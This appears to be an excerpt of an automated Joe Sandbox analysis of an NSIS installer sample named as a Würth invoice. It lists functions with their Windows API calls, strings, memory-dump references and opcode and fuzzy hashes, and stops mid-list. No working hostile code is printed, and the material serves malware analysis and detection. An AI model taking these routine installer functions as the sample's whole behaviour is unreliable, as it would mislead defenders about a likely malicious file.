GetWindowsDirectoryW.KERNEL32(007A69C0,00000400), ref: 004061A3
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004061DF
SHGetPathFromIDListW.SHELL32(?,007A69C0), ref: 004061ED
CoTaskMemFree.OLE32(?), ref: 004061F8
lstrcatW.KERNEL32(007A69C0,\Microsoft\Internet Explorer\Quick Launch), ref: 0040621C
lstrlenW.KERNEL32(007A69C0,00000000,007A0F00,?,004051C3,007A0F00,?), ref: 00406276

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040615E
., xrefs: 00406128
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406216

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: .$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3562769014
Opcode ID: 9ce442b3e08e51e94183721a6ea50bf71d3002f6f8d0ff178eeb2e611740a726
Instruction ID: 0ce2904226638d20c34e96b955086165c79dcecb48fb9e3347e4958dd658327d
Opcode Fuzzy Hash: 9ce442b3e08e51e94183721a6ea50bf71d3002f6f8d0ff178eeb2e611740a726
Instruction Fuzzy Hash: 1E612271A00501AADF20AF64DC44BAE37A4AF45314F12C17FE553BA2D1DB3D8AA2CB4D

Function 00402E7C Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,?,?,007B3000,00403513,?), ref: 00402F9F
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,000000FF,00000000,00000000,?,?), ref: 00403005

Part of subcall function 00402D8A: DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,007B3000,00403513,?), ref: 00402D9D

Strings

Inst, xrefs: 00402ED3
soft, xrefs: 00402EDC
Null, xrefs: 00402EE5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
vy, xrefs: 00402E7C

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AllocDestroyFileGlobalPointerWindow
String ID: Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 1580554587-3989296954
Opcode ID: c42a7f6df5451f5018b90c8661718ef7f2a771eba0f114d54593ea752330a505
Instruction ID: 1080d550f277ee0e9fa2c90eb89f5ce050299030014fccf65328627d64bf52e8
Opcode Fuzzy Hash: c42a7f6df5451f5018b90c8661718ef7f2a771eba0f114d54593ea752330a505
Instruction Fuzzy Hash: 4E41B43190120AABDF509F60DE89B9E7BB4FB51394F24803BE904B62D1DBBC9D409B5D

Function 00404158 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404175
GetSysColor.USER32(00000000), ref: 00404191
SetTextColor.GDI32(?,00000000), ref: 0040419D
SetBkMode.GDI32(?,?), ref: 004041A9
GetSysColor.USER32(?), ref: 004041BC
SetBkColor.GDI32(?,?), ref: 004041CC
DeleteObject.GDI32(?), ref: 004041E6
CreateBrushIndirect.GDI32(?), ref: 004041F0

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: ea06b333114cee9cc67994af2ac871624958d76533ae86cbe2848aaafb465e30
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: 7E2196B1500704AFCB219F68EE0CB4B7BF8AF41710F04893DE995E66A0D734D944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405CE3: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,004025CA,00000000,00000000,?,00000000,00000011), ref: 00405CF9

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 45a21482c542318f13e1eb5333aa3b1a888cf07139c1879041507e3b187ffe5f
Instruction ID: dafe1f73e2ee8cdb860d3706a1f39e5ecceba59a5ef1a457f192d56af1ee0b6a
Opcode Fuzzy Hash: 45a21482c542318f13e1eb5333aa3b1a888cf07139c1879041507e3b187ffe5f
Instruction Fuzzy Hash: 44510974D00219ABDF209F94CA88ABEB779FF04344F50447BE501F72D0D7B999829B69

Function 00403040 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403115
MulDiv.KERNEL32(7FFFFFFF,00000064,00008000), ref: 0040313E
wsprintfW.USER32 ref: 00403151

Strings

$4, xrefs: 004030FD
... %d%%, xrefs: 0040314B

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$$4
API String ID: 551687249-64669548
Opcode ID: 9bfa2cd8056b457bf2c1d91a778e6db8bbcc5d18b260888645261f0de4beb9e5
Instruction ID: c12b6cdc56b67ba37f53fbaa2c00964da871830e0e272b1bdf0361cf6c58ab7f
Opcode Fuzzy Hash: 9bfa2cd8056b457bf2c1d91a778e6db8bbcc5d18b260888645261f0de4beb9e5
Instruction Fuzzy Hash: D841AD71901209EBCB10CFA5DA44B9E7BB8AF54356F1442BBE810BB2D1C7788B50CB99

Function 0040518C Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00), ref: 004051C4
lstrlenW.KERNEL32(?,007A0F00), ref: 004051D4
lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 004051E7
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: fab39d10c2b7ba7724293fe343cc3ed2c839568bc02c38a24a9ee3611d5295ac
Instruction ID: ba1fee82cce58728351fc00c71800df183ba28672b3cc7c2ac0788bec40afb87
Opcode Fuzzy Hash: fab39d10c2b7ba7724293fe343cc3ed2c839568bc02c38a24a9ee3611d5295ac
Instruction Fuzzy Hash: F721AF71900558BACB119FA6DD44ACFBFB8EF85310F10807AF904B62A1C7794A40CFA8

Function 00404A56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A71
GetMessagePos.USER32 ref: 00404A79
ScreenToClient.USER32(?,?), ref: 00404A93
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AA5
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404ACB

Strings

f, xrefs: 00404AA7

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 9eff9150a992eb2fb06457ff5e0cc0326f2b5a04812ccf7126d2c147f81e0dfa
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: FC015E71A4021CBADB00DBA4DD85FFEBBBCAF58715F10012BBB51B61C0D7B49A418BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 6ea019a5c915e27d0383299d327640edd576fd3642c792e58a0fbb2247e90e0f
Instruction ID: 33f6bc0f9c66ffbc6f0a9480d788631f8e7fe4f3fd8502bd98e35746da28410b
Opcode Fuzzy Hash: 6ea019a5c915e27d0383299d327640edd576fd3642c792e58a0fbb2247e90e0f
Instruction Fuzzy Hash: 7701447064020DAFEF149F61DD49BAA3B69FB04304F00803AFA05A91D0DBB99955CB58

Function 00406397 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063AE
wsprintfW.USER32 ref: 004063E9
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004063FD

Strings

\, xrefs: 004063BF
%s%S.dll, xrefs: 004063E3
UXTHEME, xrefs: 004063A0

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 9cd176900e46196ffcfca9c6351026e8055dbc09b9427d0f5483d49a535bfda6
Instruction ID: c9fa99885ad6dc82947e8769e1e813740631d6316ec4b329aa07ca863a8e6543
Opcode Fuzzy Hash: 9cd176900e46196ffcfca9c6351026e8055dbc09b9427d0f5483d49a535bfda6
Instruction Fuzzy Hash: 6BF0F670510219A7DB10AB64DD0DF9A366CAB00304F10443ABA46F20E0EFB8DA79CBE8

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 83ec714511297278f6bb197267d3b5dc1d5043d948be680f477d968a383c1dac
Instruction ID: ba6f49517a5b121574735636d58c2dc186d973e03c124db2f1d5768ba00f8754
Opcode Fuzzy Hash: 83ec714511297278f6bb197267d3b5dc1d5043d948be680f477d968a383c1dac
Instruction Fuzzy Hash: AC21CE72801128BBDF216FA5CE49D9E7E79EF09324F20023AF510762E1CB794E418F98

Function 004062C1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 00406324
CharNextW.USER32(?,?,?,00000000), ref: 00406333
CharNextW.USER32(?,00000000,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 00406338
CharPrevW.USER32(?,?,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 0040634B

Strings

*?|<>/":, xrefs: 00406313

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 7b766ee50bb8b1a0f4eab2cbe77ea87c6d078045d263edb3b82a780548374b37
Instruction ID: c327e11968ff1b61697d85eec455557f32973e7d313eb7c6419ca2acb5234ebd
Opcode Fuzzy Hash: 7b766ee50bb8b1a0f4eab2cbe77ea87c6d078045d263edb3b82a780548374b37
Instruction Fuzzy Hash: 9111C85580021295DB3037549D40AB7A7B8EF55754F52803FED86732C0E77C9C9286ED

Function 00405A8C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,?,?,004015C9,00000000,000000F0), ref: 00405A9A
CharNextW.USER32(00000000,?,?,?,004015C9,00000000,000000F0), ref: 00405A9F
CharNextW.USER32(00000000,?,?,?,004015C9,00000000,000000F0), ref: 00405AB7

Strings

\, xrefs: 00405AAF
:, xrefs: 00405AA9

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharNext
String ID: :$\
API String ID: 3213498283-1166558509
Opcode ID: d4fc8010274739b422e9c4851511b62dbacfb07d9cf0bff86c6d3941990f78f8
Instruction ID: 4ef724c51caf64a06ad4a76328470f7663c7b7c42372c069b901feda00360d9b
Opcode Fuzzy Hash: d4fc8010274739b422e9c4851511b62dbacfb07d9cf0bff86c6d3941990f78f8
Instruction Fuzzy Hash: C5F09021B41A2597EF3176584CC5E7766BCEB54364B00C63BE641B72C1D3B848818EEA

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5A8,0040A5A8,00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017CD

Part of subcall function 0040602D: lstrcpynW.KERNEL32(?,?,00000400,0040332A,007A7A20,NSIS Error), ref: 0040603A

Part of subcall function 0040518C: lstrlenW.KERNEL32(007A0F00), ref: 004051C4
Part of subcall function 0040518C: lstrlenW.KERNEL32(?,007A0F00), ref: 004051D4
Part of subcall function 0040518C: lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 004051E7
Part of subcall function 0040518C: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
Part of subcall function 0040518C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
Part of subcall function 0040518C: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
Part of subcall function 0040518C: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: ab16fbd1a1a9ebe93a1cf2f0f28c22b52a67f819a091cf9b9b46fde77fed60c6
Instruction ID: b6c518ac9409a037d84d2de051aa7ef8acb95708ad7dc08f543902d4715931a2
Opcode Fuzzy Hash: ab16fbd1a1a9ebe93a1cf2f0f28c22b52a67f819a091cf9b9b46fde77fed60c6
Instruction Fuzzy Hash: 2241A571940515BACF20BFB5CC46DAF7675EF45329B20823BF422B10E2DB3C8A519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 3f441c19f0f34b91adbe303d8aafc709c018744c962571da53865d23c2bfc605
Instruction ID: 0f445eedd0ead43dce11b02a34d11ee125e6b361330db3d8f0abcaa344057bef
Opcode Fuzzy Hash: 3f441c19f0f34b91adbe303d8aafc709c018744c962571da53865d23c2bfc605
Instruction Fuzzy Hash: 4B116771904118BFEF10AF90DF8CEAE3B79FB54384F10403AF906E10A0D7B48E55AA29

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 02abd658966be5e8f0b29f0b4f9cdccbb8b12b4f0ad4caf819e6498e3cbf6354
Instruction ID: 414e13ebf6cb56e84a4404cc700fc4dd46923a21780f0405722d8e14d33058f0
Opcode Fuzzy Hash: 02abd658966be5e8f0b29f0b4f9cdccbb8b12b4f0ad4caf819e6498e3cbf6354
Instruction Fuzzy Hash: 6CF0E172500504AFD701DBE4DE88CEFBBBDEB48311B104466F541F51A1CA749D018B28

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDB0), ref: 00401DD1

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2498984612fd715fa7f2a248714d717a203817d375db34aa2a99ed6c38b8b299
Instruction ID: 8a1e816e8e54b7f29a7d0f5fc6d6dcc0f6bae9f095316fa63564fc8432a1e7a2
Opcode Fuzzy Hash: 2498984612fd715fa7f2a248714d717a203817d375db34aa2a99ed6c38b8b299
Instruction Fuzzy Hash: 5801AD72554641EFEB016BB0AF8ABAA3F74BB65301F104579F681B62E2CA7C10058B2D

Function 00404948 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

